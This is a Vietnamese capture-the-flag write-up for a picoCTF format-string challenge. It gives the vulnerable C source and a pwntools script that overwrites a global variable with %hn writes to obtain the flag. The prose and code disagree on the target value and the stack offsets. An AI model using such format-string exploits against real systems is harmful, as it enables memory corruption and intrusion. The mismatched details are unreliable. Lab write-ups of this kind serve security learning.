**Writeup** Source chall: ```C! #include <stdio.h> int sus = 0x21737573; int main() { char buf[1024]; char flag[64]; printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n"); fflush(stdout); scanf("%1024s", buf); printf("Here's your input: "); printf(buf); printf("\n"); fflush(stdout); if (sus == 0x67616c66) { printf("I have NO clue how you did that, you must be a wizard. Here you go...\n"); // Read in the flag FILE *fd = fopen("flag.txt", "r"); fgets(flag, 64, fd); printf("%s", flag); fflush(stdout); } else { printf("sus = 0x%x\n", sus); printf("You can do better!\n"); fflush(stdout); } return 0; } ``` Đọc qua source code ta có thể dễ dàng thấy có bug ``format string`` như tên chall * Nhiệm vụ của ta là thay đổi biến global ``sus`` thành giá trị hex ``0x67626c66`` và chương trình sẽ in ra flag Checksec để kiểm tra file elf thì thấy `No PIE`, điều này có nghĩa là địa chỉ của biến global ``sus`` sẽ cố định * ![image](https://hackmd.io/_uploads/SkPpdw31C.png) * Do đó, hướng tiếp cận đơn giản là dùng format ``%n`` để ghi đè giá trị của ``sus`` Bật gdb để tìm địa chỉ của ``sus`` thì được ![image](https://hackmd.io/_uploads/HJsnKD21R.png) Có được địa chỉ của ``sus``, việc của ta bây giờ là ghi đè giá trị ở đó thành ``0x67626c66`` * Tuy nhiên, việc print đủ ``0x67626c66`` kí tự sẽ tốn rất nhiều thời gian và với 1 lần format thì ``%n`` sẽ tăng dần kí tự đã ghi * => Chia nhỏ ``0x67626c66`` thành các phần nhỏ hơn, sắp xếp thứ tự rồi format để ghi đè tuần tự tiết kiệm thời gian Ở đây mình thấy với 2 phần ``0x6762`` và ``0x6c66`` kí tự sẽ là đủ nhỏ để in ra trong thời gian ngắn và cũng không khiến việc code trở nên quá phức tạp * Có lưu ý ở đây đó là hàm ``scanf`` lấy input chỉ có format ``%s``, không có filter, cho nên scanf sẽ read input cho đến khi gặp byte ``0x9`` (tab), ``0xa`` (newline), ``0x20`` (space). Đồng nghĩa với việc vẫn có thể có ``null byte`` trong payload (quan trọng) giúp việc truyền địa chỉ của ``sus`` vào dễ dàng hơn ```C! scanf("%1024s", buf); ``` * Nếu không cho phép truyền ``null byte`` thì frame để ghi địa chỉ của ``sus`` phải là 1 frame trống để đảm bảo địa chỉ của ``sus`` không bị sai do nội dung đã có trước của frame. * Vì cho phép nên địa chỉ của ``sus`` sẽ được pad bằng ``null byte`` để tròn 1 frame tránh sai Hướng giải quyết: * Sử dụng format ``%hn`` để ghi đè vì đối tượng cần ghi chỉ có 2 byte (Nếu không dùng ``%hn`` thì khi ghi đè ``0x6c66``, nó cũng sẽ khi đè lại ``0x6762`` mà ta ghi trước đó về ``null`` do địa chỉ của ``0x6762`` lớn hơn) * Sử dụng ``%A$hn`` với A là số lần phải ``%hn`` để lần ``%hn`` tiếp theo trỏ vào địa chỉ của ``sus`` trong stack mà ta đã input * Xác định ``%hn`` lần thứ bao nhiêu thì trỏ vào địa chỉ cần ghi đè * Viết payload và lấy flag Dưới đây là script mà mình đã dùng để lấy flag: ```python! from pwn import * chall = remote("rhea.picoctf.net", 56778) sus_1 = bytes.fromhex("404062")[::-1] + b'\x00' * 5 #(8 bytes) sus_2 = bytes.fromhex("404060")[::-1] + b'\x00' * 5 #(8 bytes) val_1 = int("6761", 16) val_2 = int("6c66", 16) payload = b'%' + str(val_1).encode() + b'c%18$hn' + b'%' + str(val_2 - val_1).encode() + b'c%19$hn' payload += ((8 - len(payload) % 8) % 8) * b'\x00' #(Fit the frame) payload += sus_1 + sus_2 chall.sendlineafter(b'?\n', payload) chall.interactive() ``` Trong đó, mình để 2 địa chỉ của ``sus`` ở cuối để dễ debug hơn và mình xác định được ở lần thứ 17 và 18, ``%hn`` sẽ trỏ vào ``sus_1`` và ``sus_2`` Và đây là flag: ![image](https://hackmd.io/_uploads/ryBUe_3JA.png) * **picoCTF{f0rm47_57r?_f0rm47_m3m_ccb55fce}**